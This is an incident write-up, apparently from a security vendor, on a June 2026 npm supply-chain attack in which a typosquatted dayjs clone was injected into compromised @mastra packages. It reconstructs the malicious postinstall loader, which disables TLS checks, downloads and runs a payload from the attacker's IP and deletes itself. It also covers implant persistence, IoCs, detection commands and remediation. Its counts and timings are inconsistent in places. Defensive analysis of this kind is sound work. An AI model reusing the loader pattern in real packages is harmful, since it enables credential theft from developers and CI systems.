At 01:01 UTC on June 17, 2026, someone pushed a package to npm. Not a dramatic zero-day. Not a novel exploit. Just a date library or something that looked exactly like one.
By 01:48 UTC – forty-seven minutes later 144 Mastra packages were compromised. Hundreds of thousands of developers had a trojanized dependency sitting in their package.json. Any developer, CI runner, or build server that ran npm install during that window picked up a cross-platform infostealer that immediately went hunting for browser credentials and crypto wallet data.
I’ve been tracking supply chain attacks for years. This one deserves close attention not because it was technically novel, but because of how well-engineered the execution was, and because of what Mastra is: an AI development framework that integrates with OpenAI, Anthropic, and Google, managing LLM API keys, cloud tokens, and persistent AI memory. These aren’t just dev dependencies. They’re the keys to an organization’s entire AI infrastructure.
Let’s go through exactly what happened.
What Is Mastra, and Why Did Attackers Target It?
Mastra is a TypeScript framework for building AI agents, RAG pipelines, and LLM-powered workflows. It handles things like agent memory, Model Context Protocol (MCP) server management, tool integrations, and deployment to cloud providers. The @mastra/core package alone pulls in over 918,000 weekly npm downloads.
The reason Mastra makes such an attractive target is sitting right there in that description. Developers installing Mastra packages typically have environment variables and config files loaded with:
- OpenAI, Anthropic, and Google API keys
- AWS, GCP, and Azure cloud credentials
- Database connection strings
- CI/CD secrets and deploy tokens
- SSH keys and Git credentials
A successful postinstall hook on a Mastra package doesn’t just steal browser cookies. It runs inside a build environment that almost certainly has access to an organization’s entire cloud stack.
The attacker understood this. This wasn’t a random target.

The Attack Timeline: Two Stages, Forty-Seven Minutes
Stage 1 – The Setup (June 16, 2026, 07:05 UTC)
The attack didn’t start on June 17. It started the day before.
At 07:05 UTC on June 16, a user called sergey2016 published [email protected] to npm. The package was clean – a fully functional copy of dayjs, the widely-used JavaScript date library. The metadata was cloned with care: author field set to iamkun (the real dayjs author), the homepage pointed at https://day.js.org, the repository links matched, keywords matched, and the version number 1.11.21 sat naturally inside the [email protected] version lineage.
This “bait” version had no malicious code. Its entire purpose was to establish the package’s existence in the npm registry, give it a clean history, and let any automated scans see a benign result before the real attack.
This is a well-documented pattern. It’s how the malicious axios campaign worked too.
Stage 2 – The Payload (June 17, 2026, 01:01–01:48 UTC)
At 01:01 UTC, [email protected] was published. This version was identical to the bait except for one addition: a heavily obfuscated file called setup.cjs and a postinstall hook in package.json pointing to it.
{ "scripts": { "postinstall": "node setup.cjs" }}
Then, using compromised credentials to the @mastra npm organization account (attributed to the user ehindero), the attacker began mass-publishing new versions of Mastra packages. Each updated package had a single change: easy-day-js added as a production dependency, version ^1.11.21, which npm would resolve to the poisoned 1.11.22 via semver’s caret range.
Over the next 36 minutes, the sweep ran. 144 packages. Automated. Scripted.
Inside setup.cjs: What the Postinstall Hook Did
The setup.cjs file was obfuscated, but Socket’s research team recovered and analyzed it. Here’s what it does when npm install runs:
Step 1 – Disable TLS certificate validation
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
This single line tells Node.js to ignore TLS certificate errors for all subsequent HTTPS requests made by the process. It means the attacker doesn’t need a valid certificate for their command-and-control infrastructure. Any TLS cert – expired, self-signed, whatever – will be accepted.
Step 2 – Fetch the second-stage payload
// Reconstructed from deobfuscated analysisconst response = await fetch('https://23.254.164.92:8000/update/49890878');const payload = await response.buffer();
The second-stage binary comes from a hardcoded IP (23.254.164.92) on port 8000. Using a raw IP rather than a domain name is deliberate, it avoids DNS-based detection and makes the C2 infrastructure harder to block via hostname filtering. The path /update/49890878 likely serves as a campaign identifier or victim tracking token.
Step 3 – Write to temp and execute detached
const tmpPath = path.join(os.tmpdir(), 'update');fs.writeFileSync(tmpPath, payload, { mode: 0o755 });const child = spawn(tmpPath, [], { detached: true, stdio: 'ignore' });child.unref();
The payload lands in the system’s temp directory as a file named update. It’s executed as a detached child process – meaning it continues running even if the parent npm install process exits. child.unref() ensures the parent doesn’t wait for it. From Node’s perspective, npm install finishes normally.
Step 4 – Self-deletion
fs.unlinkSync(__filename);
The loader deletes itself. By the time a developer looks in node_modules/easy-day-js/, the setup.cjs file is already gone. Traditional file-based forensics won’t find it. The only traces are in process memory, network logs, and whatever persistence mechanisms the second-stage binary installs.
The Second-Stage Payload: A Cross-Platform Infostealer
The dropped binary is a proper infostealer compiled to run on Windows, macOS, and Linux.
What it steals:
- Browser data – history, cookies, saved passwords, and autofill data from Chromium-based browsers (Chrome, Edge, Brave, Opera) and Firefox-based browsers
- Cryptocurrency wallet extensions – the malware targets stored data from over 160 browser-based crypto wallet extensions, including MetaMask, Coinbase Wallet, Phantom, Trust Wallet, and dozens of others
- Environment variables – this is the critical one for developer environments;
.envfiles, shell profiles, and process environment variables are likely included
Persistence mechanisms (all three platforms):
On Linux, the binary likely adds entries to ~/.bashrc, ~/.profile, or a systemd user service to survive reboots.
On macOS, it probably drops a LaunchAgent plist in ~/Library/LaunchAgents/ – a standard persistence location that survives user sessions.
On Windows, the most common mechanisms are Registry run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) or a scheduled task.
All collected data gets exfiltrated to the attacker’s C2 at 23.254.164.92:8000.
Why easy-day-js Works as a Typosquat
The legitimate library is dayjs. The malicious one is easy-day-js.
These aren’t visually similar in the way classic typosquats are (lodash vs 1odash). Instead, this attack targets a different cognitive failure: developers who search for “easy date library” or “simple day js” and skim the results, or developers who copy a dependency from a tutorial or blog post without checking whether the package name is exactly right.
The cloned metadata makes this especially dangerous. If you run npm info easy-day-js before installing, you see:
name: easy-day-jsversion: 1.11.22author: iamkunhomepage: https://day.js.org
That looks legitimate. The author is the real dayjs author. The homepage is the real dayjs site. Unless you notice that the npm package name doesn’t match the homepage’s branding, you might not catch it.
Socket flagged it within six minutes of publication anyway – not because of the metadata, but because of behavioral analysis of the postinstall hook.
Delivery Chain: How The Malicious Packages Reached Developers
Before the incident, legitimate @mastra/* releases were being pushed through the project’s CI pipeline, specifically via GitHub Actions.
That pattern changed on 2026-06-17. Between approximately 01:15 UTC and 02:36 UTC, a single npm account named ehindero published malicious releases for 141 packages under the @mastra/* scope. This count comes from scope-wide npm registry enumeration, although not every package in the scope was affected.
The malicious packages did not contain obvious hostile source-code changes. In fact, the package code itself remained byte-for-byte identical to the previous legitimate build. Apart from normal package manifest normalization and patch-version increments, the only meaningful change was the addition of a new dependency:
"dependencies": { "easy-day-js": "^1.11.21"}
That dependency was the real infection point.
easy-day-js was a typosquat package designed to resemble the widely used dayjs library. It had been published one day earlier, on 2026-06-16, by a different npm account: sergey2016.
The attacker used a staged trust-building approach:
[email protected]was a harmless copy ofdayjs- It contained no install hook
- It helped the package appear benign at first
[email protected]then introduced the malicious postinstall behavior
The weaponized version added this lifecycle script:
"scripts": { "postinstall": "node setup.cjs --no-warnings"}
Because the malicious logic was placed inside the transitive dependency, installing any compromised @mastra/* package caused npm to pull [email protected]. Its postinstall hook then executed automatically during installation, before the developer or CI system ever imported or ran application code.
Loader Behavior – setup.cjs
The first-stage payload was setup.cjs. It was heavily obfuscated using obfuscator.io, including string-array encoding, a custom Base64 decoder, and array-rotation logic.
Once deobfuscated, the loader is small but highly functional. Its role is to weaken TLS validation, contact attacker infrastructure, retrieve the second-stage implant, launch it in the background, and erase its own script.
A simplified behavioral view looks like this:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';const url = 'https://23[.]254[.]164[.]92:8000/update/49890878';fs.writeFileSync(os.tmpdir() + '/.pkg_history', __dirname);fs.writeFileSync(os.tmpdir() + '/.pkg_logs', 'easy-day-js');const stage2 = await (await fetch(url)).text();const out = os.tmpdir() + '/' + crypto.randomBytes(12).toString('hex') + '.js';fs.writeFileSync(out, stage2);child_process.spawn( process.execPath, [out, '23[.]254[.]164[.]123:443'], { detached: true, stdio: 'ignore', windowsHide: true }).unref();fs.rmSync(__filename, { force: true });
The loader performs several important actions:
- It sets:
NODE_TLS_REJECT_UNAUTHORIZED=0
This disables TLS certificate validation, allowing the malware to communicate with servers using self-signed or otherwise untrusted certificates.
- It contacts the stage-two download URL:
https://23[.]254[.]164[.]92:8000/update/49890878
- It writes temporary marker files:
.pkg_history.pkg_logs
.pkg_history stores the package directory path, while .pkg_logs acts as a campaign marker tied to easy-day-js.
- It downloads the second-stage JavaScript payload.
- It writes that payload into the temporary directory using a random 12-byte hex filename ending in
.js. - It launches the downloaded file as a detached Node.js process.
- It passes the second C2 endpoint to the implant:
23[.]254[.]164[.]123:443
- It deletes its own loader file after execution to reduce evidence left behind.
The key point is that the loader runs during dependency installation. No application import, server start, or runtime execution is required for compromise.
Implant Behavior – protocal.cjs
The downloaded second-stage payload is a roughly 41 KB cross-platform Node.js implant.
This is not just a simple one-time stealer. It behaves more like a persistent tasking client. After installation, it creates login persistence, checks in with the attacker-controlled server, and waits for additional operator instructions.
The implant is designed to survive reboots and user logins across Windows, macOS, and Linux.
Persistence Mechanisms
| Operating System | Persistence Method | Files / Details |
|---|---|---|
| Windows | HKCU\...\CurrentVersion\Run registry value | Run key value: NvmProtocal; launches hidden PowerShell; files placed in C:\ProgramData\NodePackages\ as protocal.cjs and config.json |
| macOS | LaunchAgent | ~/Library/LaunchAgents/com.nvm.protocal.plist; payload stored at ~/Library/NodePackages/protocal.cjs |
| Linux | systemd user service | Unit file: ~/.config/systemd/user/nvmconf.service; payload stored at ~/.config/systemd/nvmconf/protocal.cjs; config stored at ~/.config/NodePackages/config.json |
The Linux service written by the malware looks like this:
[Unit]Description=System Config User Service[Service]Type=simpleExecStart=<node> <home>/.config/systemd/nvmconf/protocal.cjsSuccessExitStatus=SIGTERM SIGINTRestart=on-failureRestartSec=5[Install]WantedBy=default.target
The naming is intentional. Terms like NodePackages, NvmProtocal, com.nvm.protocal, and nvmconf.service are clearly meant to blend into developer environments where Node.js and NVM-related files may not look suspicious.
Command-And-Control And Tasking
After persistence is established, the implant sends an initial Start beacon to the operator infrastructure.
It then enters a repeating polling loop called Check / Cycle. During this loop, the malware asks the C2 server whether there are tasks to run.
The recovered implant supports multiple task types, including:
- A Node.js runner
- A shell command runner
- Config update handling
- Exit command handling
- Logging for unknown task types
This makes the implant flexible. Even if the recovered core payload does not directly steal browser cookies or saved passwords, the attacker can still push additional code later. That means credential theft, token theft, wallet theft, or CI secret extraction could happen through follow-on modules delivered after the initial infection.
Built-In Collection Capabilities
The recovered second-stage payload includes several built-in reconnaissance and collection features.
Cryptocurrency Wallet Extension Inventory
The implant contains a hardcoded list of 166 cryptocurrency wallet browser-extension IDs.
The list includes wallets such as:
- MetaMask
- Phantom
- Coinbase Wallet
- Binance Wallet
- TronLink
- Other wallet extensions
The malware checks browser profile directories, especially the browser Local Extension Settings locations, and compares installed extension IDs against its internal wallet list.
The recovered sample sends the wallet-extension inventory as part of the Start beacon under extInfo.
Important distinction: this recovered payload inventories wallet extensions and their profile paths. It does not directly copy or read wallet LevelDB data in the recovered sample.
However, because the malware supports remote tasking, the operator could still deliver additional payloads capable of stealing wallet data later.
Browser History Collection
The implant targets browser history from:
- Chrome
- Edge
- Brave
It copies each profile’s History database into a temporary directory using a browser-hist-* naming pattern.
It then reads the copied database using Node’s built-in:
node:sqlite
In the recovered sample, browser collection appears limited to the History database.
Host Reconnaissance
The implant also gathers host-level information, including:
- Hostname
- CPU architecture
- Operating system platform
- User ID
- Installed applications
- Running processes
Collected data is sent to the operator-controlled infrastructure through the bot path:
/49890878
The C2 host used for exfiltration is the one passed by the loader:
23[.]254[.]164[.]123:443
Additional Technical Details
Custom ICAP-Style HTTPS Protocol
The second-stage implant uses a custom protocol that resembles ICAP-style request handling over HTTPS POST.
The recovered code includes terms such as:
reqmodPrimaryUrlSecondaryUrlsub_net_resolvesub_net_splithostport
REQMOD is an ICAP request method, which suggests the malware authors modeled parts of their protocol around ICAP-like semantics.
The implant also performs hostname resolution using Node DNS APIs, including:
node:dnsresolve4isIPv4
Traffic also carries a hardcoded spoofed User-Agent:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
These protocol and User-Agent details are useful network-level indicators because they are less obvious than raw IP addresses or filenames.
Node And NVM Masquerading
The malware repeatedly disguises itself as Node.js or NVM-related tooling.
Examples include:
protocal.cjsNodePackagesNvmProtocalcom.nvm.protocalnvmconf.serviceSystem Config User Service
This naming strategy is consistent across Windows, macOS, and Linux. The intent is to make the files and persistence entries look normal on developer workstations.
Reused Loader Toolkit
An identical loader sample named a.js had already appeared in public malware sandboxes on 2026-05-29, around 19 days before the Mastra package-publishing wave.
That timing suggests the loader was not created only for this attack. It appears to be reused tooling.
Malicious Logic Hidden In A Transitive Dependency
The compromised @mastra/* packages do not directly contain malicious code.
The attack works because the packages silently pull in easy-day-js, and [email protected] executes the malicious install hook.
That makes source review of the affected @mastra/* packages insufficient. The malicious behavior happens during installation through a dependency lifecycle script.
This is exactly why install-time behavior monitoring matters.
TLS Verification Disabled In Both Stages
Both the loader and the recovered second-stage implant disable TLS certificate verification by setting:
NODE_TLS_REJECT_UNAUTHORIZED=0
This allows the malware to communicate with infrastructure using invalid, self-signed, or otherwise untrusted certificates.
Recommendations And Mitigations
Any system that installed an affected @mastra/* version should be treated as potentially compromised.
The payload executes during npm install, so the risk is tied to installation or CI execution. The vulnerable package does not need to be imported by application code for compromise to occur.
Identify Exposure
Search for affected package versions and the injected dependency across:
- Source repositories
- Lockfiles
- Package-manager metadata
- CI logs
- Build artifacts
- Developer machines
- Internal package caches
- SBOMs
- Artifact manifests
- Historical CI records
Important files to inspect include:
package-lock.jsonnpm-shrinkwrap.jsonyarn.lockpnpm-lock.yaml
A quick first check on a local project or build runner is:
npm ls easy-day-js
Contain Affected Systems
For developer machines, isolate the host before cleanup and preserve logs where possible.
Deleting node_modules or uninstalling the npm package is not enough, because the implant creates operating-system login persistence.
For CI/CD systems:
- Pause affected workflow runs
- Review builds created after the malicious dependency was installed
- Check whether any release artifact, container image, npm package, or deployment output was produced from an infected runner
- Prefer rebuilding from known-clean environments
Remove Malicious Versions And Dependency Locks
Remove the affected @mastra/* package versions from projects and lockfiles.
Also remove:
easy-day-js
Replace the affected @mastra/* packages with a verified clean version. The safer choice is the last GitHub-Actions-published release immediately before the malicious patch version.
Before reintroducing any package, verify:
- npm metadata
- Publisher information
- Release provenance
- Lockfile changes
- Transitive dependencies
Clear local and CI package caches because malicious tarballs may remain cached.
Do not reuse existing runners, workspaces, or node_modules directories from potentially compromised builds.
Remove Persistence And Local Artifacts
On affected systems, remove both persistence entries and dropped files.
Windows
Delete the Run key value:
NvmProtocal
from:
HKCU\...\CurrentVersion\Run
Remove:
C:\ProgramData\NodePackages\protocal.cjsC:\ProgramData\NodePackages\config.json
macOS
Unload and delete:
~/Library/LaunchAgents/com.nvm.protocal.plist
Remove:
~/Library/NodePackages/protocal.cjs
Linux
Disable and delete:
~/.config/systemd/user/nvmconf.service
Remove:
~/.config/systemd/nvmconf/protocal.cjs~/.config/NodePackages/config.json
Also search temporary directories for loader and collection artifacts:
.pkg_history.pkg_logs<random 12-byte hex>.jsbrowser-hist-*
Hunt for detached Node.js processes running the dropped script.
Rotate Exposed Credentials
The recovered implant inventories cryptocurrency wallet extensions, collects browser history, performs host reconnaissance, and supports arbitrary follow-on task execution.
That means defenders should assume the install context may have been exposed.
Cryptocurrency Wallets
If any targeted wallet extension was installed on an affected machine, treat that wallet environment as high risk.
Relevant wallets include:
MetaMaskPhantomCoinbase WalletBinance WalletTronLink
and others from the implant’s 166-extension list.
The recovered payload inventories wallet extensions rather than directly copying LevelDB wallet storage. Still, because arbitrary install-time code ran and the implant supports remote tasking, high-value wallets should be migrated as a precaution.
For high-value wallets:
- Generate a new seed phrase on a clean device
- Move funds to the new wallet
- Do not rely on password rotation alone
Developer And CI Secrets
The recovered second stage did not directly read saved passwords or browser cookies, but the attacker had code execution during installation and could deliver additional payloads dynamically.
Rotate secrets that may have existed in the affected install environment, including:
- npm tokens
- GitHub tokens
- Cloud provider credentials
- SSH keys
- Git credentials
- CI/CD secrets
- Deployment tokens
Prioritize CI runners and developer machines where sensitive credentials were present.
Strengthen CI/CD And Dependency Controls
Run dependency installation with lifecycle scripts disabled by default where possible:
npm install --ignore-scripts
Only allow install scripts for packages that genuinely require them.
Recommended controls:
- Dependency allowlisting
- Package cooldown periods before adopting newly published versions
- Strict lockfile enforcement
- SBOM generation
- CI network egress restrictions
- Alerts on outbound connections to raw IP addresses
- Alerts on unexpected network activity during dependency installation
- Package behavior analysis
- Runtime monitoring for build environments
Do not rely only on provenance or trusted publishing. In this incident, the malicious package wave was pushed by an account with legitimate publishing access.
Indicators Of Compromise
Network Indicators
23.254.164[.]92https://23.254.164[.]92:8000/update/4989087823.254.164[.]123https://23.254.164[.]123:443/49890878AS54290 (Hostwinds LLC)hwsrv-1327786.hostwindsdns[.]comhwsrv-1327785.hostwindsdns[.]com
Code And String Indicators
NvmProtocalcom.nvm.protocalnvmconf.serviceprotocal.cjsNodePackages.pkg_history.pkg_logs/update/49890878
Additional descriptions:
NvmProtocal - Windows Run-key value namecom.nvm.protocal - macOS LaunchAgent labelnvmconf.service - Linux systemd user serviceprotocal.cjs - dropped stage-two filenameNodePackages - drop directory name across Windows, macOS, and Linux variants.pkg_history / .pkg_logs - loader marker and beacon files/update/49890878 - stage-two download path and bot identifier
SHA-256 Hashes
b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4 - easy-day-js setup.cjs stage-one loaderc38954e85bf5433e61e7c8f4230336695624ae88b6953afabf7bf817aa91b638 - [email protected] package.jsoncdec8b20338beb708b5be8d3d7a3041a35a8b0fb92f9186262f312d55ff82066 - loader variant9570f77a5e1511869f4e554e7166df9fde081f2583e293c2569621792ed7d9c9 - loader variant221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf - stage-two stealer
The Blast Radius
Because the malware runs during npm install before any code is imported or executed, exposure happens the moment a developer touches the package. There’s no need to run the application. There’s no need to import anything. The hook fires during package resolution.
For a package like @mastra/core at 918K+ weekly downloads, the math gets uncomfortable quickly. Even if only a fraction of those installs ran during the attack window before Socket blocked it, that’s a large number of potentially compromised machines.
CI environments are particularly bad here. A CI runner that installs Mastra packages as part of a build job typically has:
- The repository’s secrets injected as environment variables
- Cloud provider credentials for deployments
- npm publish tokens
- SSH keys for git operations
A single compromised CI run could hand the attacker everything they need to move laterally into an organization’s entire infrastructure.
Detection: How to Tell If You Were Hit
Check for the package:
# Did you install the compromised version?npm list easy-day-jscat package-lock.json | grep easy-day-js
Check for active network connections to the C2:
# Linux/macOSnetstat -an | grep 23.254.164.92# Windows (PowerShell)netstat -ano | findstr 23.254.164.92
Check for the dropped binary in temp:
# Linux/macOSls -la /tmp/ | grep update# Windows (PowerShell)Get-ChildItem $env:TEMP -Recurse | Where-Object { $_.Name -like "update*" }
Check for suspicious detached processes:
# Linuxps aux | grep -i 49890878# macOSps aux | grep -i update | grep -v grep
Scan for postinstall hooks across node_modules:
# Linux/macOSfind node_modules -name "package.json" -exec grep -l '"postinstall"' {} \;# Windows PowerShellGet-ChildItem -Path .\node_modules -Filter package.json -Recurse | ForEach-Object { $content = Get-Content $_.FullName -Raw | ConvertFrom-Json if ($content.scripts.postinstall) { Write-Host "Found postinstall in: $($_.FullName)" -ForegroundColor Yellow Write-Host "Script: $($content.scripts.postinstall)" -ForegroundColor Red }}
Indicators of Compromise (IoCs):
| Indicator | Type | Notes |
|---|---|---|
easy-day-js in package.json / node_modules | File | Any version |
23.254.164.92:8000 | Network | C2 server |
/tmp/update (Linux/macOS) or %TEMP%\update (Windows) | File | Dropped second-stage |
| Outbound connection to port 8000 from build environment | Network | During or after npm install |
setup.cjs (absence after install) | File (deleted) | Self-deletes; absence is the indicator |
Remediation: What To Do Right Now
If any machine installed one of the affected Mastra versions listed in the table below, treat it as fully compromised. Don’t just uninstall the package and move on.
Isolate
Take the affected machine (or CI runner) offline or at minimum block outbound connections to 23.254.164.92. Don’t wait until you’ve finished the audit.
Rotate credentials, immediately
This is the most urgent step. Rotate everything that was accessible on the affected machine:
- npm access tokens
- Cloud provider credentials (AWS IAM keys, GCP service account keys, Azure service principals)
- LLM API keys (OpenAI, Anthropic, Google)
- Database connection strings
- SSH keys
- CI/CD secrets (GitHub Actions secrets, GitLab CI variables, etc.)
- Any
.envfiles that were present
Don’t try to figure out what was specifically accessed first. Rotate everything, then investigate.
Remove and reinstall clean
# Remove the malicious dependencynpm uninstall easy-day-js# Check which Mastra versions are installednpm list @mastra/ --depth=0# Remove and reinstall clean versions (check npm for patched releases)rm -rf node_modulesnpm cache clean --forcenpm install
Block the C2 at the network level
# Linux (iptables)sudo iptables -A OUTPUT -d 23.254.164.92 -j DROPsudo iptables -A INPUT -s 23.254.164.92 -j DROP# Windows (PowerShell)New-NetFirewallRule -DisplayName "Block Mastra C2" -Direction Outbound -RemoteAddress 23.254.164.92 -Action Block
Check for persistence
# Linux - check systemd user servicessystemctl --user list-units --type=service# Linux - check croncrontab -lcat /etc/cron* 2>/dev/null# macOS - check LaunchAgentsls ~/Library/LaunchAgents/ls /Library/LaunchAgents/# Windows - check scheduled tasksGet-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-2) }# Windows - check run keysGet-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Audit npm token scopes
If your npm token was exposed, the attacker could publish packages under your organization’s namespace – exactly what happened to the @mastra org. Check your npm account’s recent publish activity immediately.
How Socket Caught It in Six Minutes
Socket uses behavioral analysis, not just signature matching. When [email protected] was published, Socket’s system flagged the postinstall hook in the package manifest and analyzed what setup.cjs was doing – specifically: disabling TLS validation, reaching out to an external IP, executing a detached process, and self-deleting.
No amount of metadata cloning defeats behavioral analysis. The fact that iamkun was listed as the author didn’t matter. What mattered was that the code was doing things a date library has no business doing.
Socket customers had installs of any affected package blocked automatically. Six minutes is fast enough to matter in a campaign that ran for 47 minutes total.
Why AI Framework Ecosystems Are Becoming Priority Targets
This attack isn’t random. Mastra is exactly the kind of target that makes sense for a sophisticated adversary in 2026.
AI development frameworks sit at the intersection of:
- Developer machines with high-value API credentials
- CI/CD pipelines with cloud deployment access
- Production services handling sensitive data and user information
@mastra/claude, @mastra/openai, @mastra/azure, @mastra/auth-* – these package names tell you exactly what’s in the environment when they get installed. An attacker who compromises a machine running these packages doesn’t just get browser history. They get the keys to whatever AI infrastructure a company is building.
LangChain, LlamaIndex, CrewAI, and similar frameworks are going to face the same targeting. The pattern is established now.
Hardening Your Pipeline Against This Types of Attacks
Lock your dependency versions
Use exact versions, not caret ranges:
{ "dependencies": { "@mastra/core": "1.42.0", "dayjs": "1.11.10" }}
Commit your package-lock.json or pnpm-lock.yaml. This ensures that even if a package receives a malicious update, your installs don’t automatically pull it.
Use --ignore-scripts for untrusted package installs
npm install --ignore-scripts
This disables postinstall and other lifecycle hooks. It breaks some packages that legitimately need to compile native modules, but for audit purposes or when evaluating new dependencies, it’s the safest flag you have.
Verify package signatures
npm audit signatures
npm’s package provenance feature lets you verify that a package was built by the expected CI pipeline and published from the expected source. @mastra/core with provenance should trace back to Mastra’s official GitHub Actions workflow – not a script published by ehindero.
Integrate dependency scanning into CI
Add Socket’s CLI or a similar tool to your CI pipeline:
# GitHub Actions- name: Scan dependencies run: | npm install -g @socketsecurity/cli socket scan
Run this before npm install, not after.
Block known malicious IPs at the network boundary
In a CI/CD context, your build runners generally don’t need to reach arbitrary IPs on port 8000. Egress filtering, even a simple allowlist of expected hosts would have blocked the second-stage payload fetch completely.
Use a private registry with an allowlist
npm config set registry https://your-private-registry.company.com
Tools like Verdaccio, Artifactory, or GitHub Packages let you proxy npm and enforce an approved package list. New packages don’t get through until a human reviews them. This adds friction to your dev workflow but removes an entire attack surface.
Set NODE_TLS_REJECT_UNAUTHORIZED as a protected environment variable
In CI systems, you can explicitly set this to 1 as a protected environment variable that can’t be overridden by child processes. Some CI platforms support this natively. It won’t stop the fetch from being attempted, but TLS verification failures will at least generate noise in your network logs.
Complete List of Affected Packages
The following is the complete list of affected packages and versions, cross-referenced across all published sources. Versions published on June 17, 2026 between approximately 01:01 UTC and 02:37 UTC are the affected ones.
| Package | Compromised Version | Published (UTC) |
|---|---|---|
easy-day-js | 1.11.22 | 2026-06-17 01:01:33 |
@mastra/schema-compat | 1.2.12 | 2026-06-17 01:12:43 |
@mastra/memory | 1.20.4 | 2026-06-17 01:16:15 |
@mastra/server | 2.1.1 | 2026-06-17 01:17:32 |
@mastra/loggers | 1.1.3 | 2026-06-17 01:18:14 |
@mastra/observability | 1.14.2 | 2026-06-17 01:18:59 |
@mastra/deployer | 1.42.1 | 2026-06-17 01:19:51 |
@mastra/mcp | 1.10.1 | 2026-06-17 01:25:36 |
@mastra/pg | 1.13.1 | 2026-06-17 01:25:04 |
@mastra/client-js | 1.24.1 | 2026-06-17 01:26:24 |
@mastra/libsql | 1.13.1 | 2026-06-17 01:26:53 |
@mastra/ai-sdk | 1.4.6 | 2026-06-17 01:27:27 |
@mastra/otel-exporter | 1.2.3 | 2026-06-17 01:28:15 |
@mastra/langfuse | 1.3.6 | 2026-06-17 01:29:49 |
@mastra/datadog | 1.2.5 | 2026-06-17 01:30:13 |
@mastra/rag | 2.2.2 | 2026-06-17 01:30:42 |
@mastra/express | 1.3.31 | 2026-06-17 01:31:19 |
@mastra/dynamodb | 1.0.9 | 2026-06-17 01:31:43 |
@mastra/hono | 1.4.26 | 2026-06-17 01:32:34 |
@mastra/otel-bridge | 1.2.3 | 2026-06-17 01:33:33 |
@mastra/braintrust | 1.1.4 | 2026-06-17 01:33:06 |
@mastra/editor | 0.11.3 | 2026-06-17 01:34:13 |
@mastra/langsmith | 1.2.4 | 2026-06-17 01:34:46 |
@mastra/sentry | 1.1.4 | 2026-06-17 01:35:10 |
@mastra/mongodb | 1.9.3 | 2026-06-17 01:35:39 |
@mastra/posthog | 1.0.29 | 2026-06-17 01:36:07 |
@mastra/mcp-docs-server | 1.1.47 | 2026-06-17 01:37:01 |
@mastra/clickhouse | 1.10.1 | 2026-06-17 01:37:42 |
@mastra/auth | 1.0.3 | 2026-06-17 01:38:36 |
@mastra/s3 | 0.5.3 | 2026-06-17 01:38:11 |
@mastra/fastify | 1.3.31 | 2026-06-17 01:39:37 |
@mastra/fastembed | 1.1.3 | 2026-06-17 01:39:14 |
@mastra/inngest | 1.5.2 | 2026-06-17 01:39:59 |
@mastra/stagehand | 0.2.5 | 2026-06-17 01:40:23 |
@mastra/deployer-vercel | 1.1.38 | 2026-06-17 01:41:44 |
@mastra/daytona | 0.4.2 | 2026-06-17 01:41:19 |
@mastra/react | 1.0.1 | 2026-06-17 01:42:56 |
@mastra/voice-openai-realtime | 0.12.6 | 2026-06-17 01:40:55 |
@mastra/voice-openai | 0.12.3 | 2026-06-17 01:42:08 |
@mastra/agent-browser | 0.3.2 | 2026-06-17 01:42:27 |
@mastra/voice-google-gemini-live | 0.12.2 | 2026-06-17 01:43:49 |
@mastra/upstash | 1.1.3 | 2026-06-17 01:43:23 |
@mastra/arize | 1.2.3 | 2026-06-17 01:44:36 |
@mastra/e2b | 0.3.4 | 2026-06-17 01:44:12 |
@mastra/auth-better-auth | 1.0.4 | 2026-06-17 01:45:48 |
@mastra/chroma | 1.0.2 | 2026-06-17 01:45:05 |
@mastra/tavily | 1.0.3 | 2026-06-17 01:45:26 |
@mastra/convex | 1.2.2 | 2026-06-17 01:46:13 |
@mastra/auth-clerk | 1.0.3 | 2026-06-17 01:46:33 |
@mastra/deployer-cloudflare | 1.1.44 | 2026-06-17 01:47:44 |
@mastra/auth-supabase | 1.0.2 | 2026-06-17 01:47:16 |
@mastra/gcs | 0.2.3 | 2026-06-17 01:48:36 |
@mastra/redis | 1.1.3 | 2026-06-17 01:48:07 |
@mastra/playground-ui | 33.0.1 | 2026-06-17 01:49:47 |
@mastra/cloudflare-d1 | 1.0.7 | 2026-06-17 01:50:38 |
@mastra/nestjs | 0.1.15 | 2026-06-17 01:51:32 |
@mastra/voice-google | 0.12.3 | 2026-06-17 01:51:03 |
@mastra/voice-elevenlabs | 0.12.2 | 2026-06-17 01:51:57 |
@mastra/turbopuffer | 1.0.3 | 2026-06-17 01:52:18 |
@mastra/pinecone | 1.0.2 | 2026-06-17 01:52:40 |
@mastra/temporal | 0.1.14 | 2026-06-17 01:53:00 |
@mastra/docker | 0.3.1 | 2026-06-17 01:53:44 |
@mastra/voice-deepgram | 0.12.2 | 2026-06-17 01:53:23 |
@mastra/auth-auth0 | 1.0.2 | 2026-06-17 01:54:11 |
@mastra/longmemeval | 1.0.50 | 2026-06-17 01:54:39 |
@mastra/cloudflare | 1.4.2 | 2026-06-17 01:55:07 |
@mastra/auth-workos | 1.5.3 | 2026-06-17 01:55:53 |
@mastra/acp | 0.2.2 | 2026-06-17 01:55:31 |
@mastra/mssql | 1.3.2 | 2026-06-17 01:56:57 |
create-mastra | 1.13.1 | 2026-06-17 01:56:28 |
@mastra/blaxel | 0.4.2 | 2026-06-17 01:57:20 |
@mastra/dsql | 1.0.3 | 2026-06-17 01:57:45 |
@mastra/vectorize | 1.0.3 | 2026-06-17 01:58:45 |
@mastra/couchbase | 1.0.4 | 2026-06-17 01:58:13 |
@mastra/agent-builder | 1.0.42 | 2026-06-17 01:59:24 |
@mastra/koa | 1.5.14 | 2026-06-17 02:00:19 |
@mastra/mcp-registry-registry | 1.0.2 | 2026-06-17 02:00:55 |
@mastra/deployer-netlify | 1.1.20 | 2026-06-17 02:02:40 |
@mastra/claude | 1.0.3 | 2026-06-17 02:02:09 |
@mastra/google-cloud-pubsub | 1.0.6 | 2026-06-17 02:03:10 |
@mastra/redis-streams | 0.0.4 | 2026-06-17 02:03:37 |
@mastra/opensearch | 1.0.3 | 2026-06-17 02:04:28 |
@mastra/lance | 1.0.7 | 2026-06-17 02:04:56 |
@mastra/cursor | 0.2.1 | 2026-06-17 02:04:01 |
@mastra/deployer-cloud | 1.42.1 | 2026-06-17 02:05:28 |
